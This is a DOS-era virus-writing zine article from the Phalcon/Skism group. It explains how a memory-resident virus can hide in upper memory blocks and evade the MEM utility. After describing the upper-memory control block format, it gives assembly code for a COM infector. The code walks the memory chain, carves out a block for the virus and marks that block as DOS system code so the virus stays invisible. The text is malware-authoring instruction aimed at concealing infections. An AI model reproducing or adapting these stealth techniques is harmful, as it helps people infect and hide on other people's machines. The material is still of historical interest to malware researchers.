UMB Residency
By Dark Angel
Phalcon/Skism
One day, while fiddling with loading programs into MSDOS UMB's, I realised
that there are very few viruses that used UMB's. This is surprising, given
the prevalence of UMB's and the ease with which DOS viruses may hide their
presence through the use of UMB's.
The UMB's, or upper memory blocks, consist of the memory above 640K and below
1MB (segments A000 to FFFF). This region was reserved early on for BIOS and
peripherals, notably video memory. There is normally plenty of unused space in
this region, so enterprising programmers found a simple way to incorporate the
memory into DOS's memory allocation scheme. They simply extended the MCB chain
into that region, with MCB's indicating already allocated memory covering the
memory used for other purposes by the machine. In this way, more memory,
albeit fragmented, was usable for loading programs. The UMB's are especially
handy for storing TSR's, since they have smaller memory constraints than most
programs. The programmers at Microsoft, realising the utility of UMB's,
decided to incorporate UMB's into DOS beginning at version 5, so now there is
a standardised method of handling upper memory.
The MCB's handling upper memory are slightly more complex than regular MCB's.
The format of a UMB control block is:
Offset Size Description
00 BYTE 'Z' if last MCB in chain, 'M' otherwise
01 WORD PSP segment of owner (8 if MSDOS, 0 if free)
03 WORD size of memory block in paragraphs
05 3 BYTES unused
08 8 BYTES program name in ASCII or
"SC" if system code or
"SD" if system data
The method is pretty simple to understand and very easy to implement. In
DOS 5+, the first UMB can be located through a pointer in the disk buffer
information structure which, in turn, may be located through the DOS master
list structure. This UMB is usually located at 9FFF:0000, but there is no need
for this to be the case. It's simply the most convenient location for it. The
only difference between modifying regular MCB's and UMB's is the extra field
at offset 8 which may be used to mark the block as DOS system code. By marking
this with DOS's usual fields to indicate unusuable memory such as video memory
and ROM, we effectively hide the virus from detection by utilities such as
MEM. Since it doesn't reside in conventional memory (below 640K), there is no
decrease in memory a la 40:13 BIOS manipulating memory residency techniques.
The sample code below, written for a simple COM infector, illustrates the
technique.
start: xor di,di
mov ax,3306 ; get true DOS version
int 21
inc al ; DOS 4-?
jz no_UMBs ; if so, we don't have UMB's
mov ah,52 ; get DOS master list
int 21 ; structure
lds si,es:[bx+12] ; get ptr to disk buffer info
mov ax,ds:[si+1f] ; get address of the first UMB
inc ax ; (FFFF if no UMBs present)
jz no_UMBs
dec ax ; undo damage from above
search_chain: mov ds,ax ; go to the MCB
cmp word ptr [di+1],di ; unused?
jnz search_next
cmp word ptr [di+3],reslength_P ; MCB large enough to
ja handle_MCB ; hold us and our MCB?
search_next: cmp byte ptr [di],'Z' ; end of chain?
jz no_UMBs
mov bx,[di+3] ; go to the next MCB
inc ax ; 40Hex
add ax,bx
jmp search_chain
no_UMBs: mov ax,cs
dec ax ; get the MCB for current
mov ds,ax ; program
cmp word ptr [di+3],reslength_P + 1000 ; large enough for
jna fail_init ; program and virus and its
; MCB?
jmp short handle_MCB
db 0,'(DA/PS)',0
handle_MCB: sub word ptr [di+3],reslength_P + 1 ; adjust size of memory
; area for virus + its MCB
mov bx,[di+3] ; get size of new memory area
mov cl,'M' ; make sure this MCB doesn't
xchg cl,byte ptr [di] ; mark the end of the chain
inc ax
add ax,bx ; go to virus segment's MCB
mov ds,ax
mov es,ax
mov byte ptr [di],cl ; patch end of chain indicator
mov word ptr [di+1],8 ; mark MCB owned by DOS
mov word ptr [di+3],reslength_P ; patch in virus size
inc ax ; ds->virus segment
mov ds,ax
or di,8 ; go to program name field
mov ax,'CS' ; make virus invisible to MEM
stosw ; by pretending it is
xor ax,ax ; DOS system code
stosw
stosw
stosw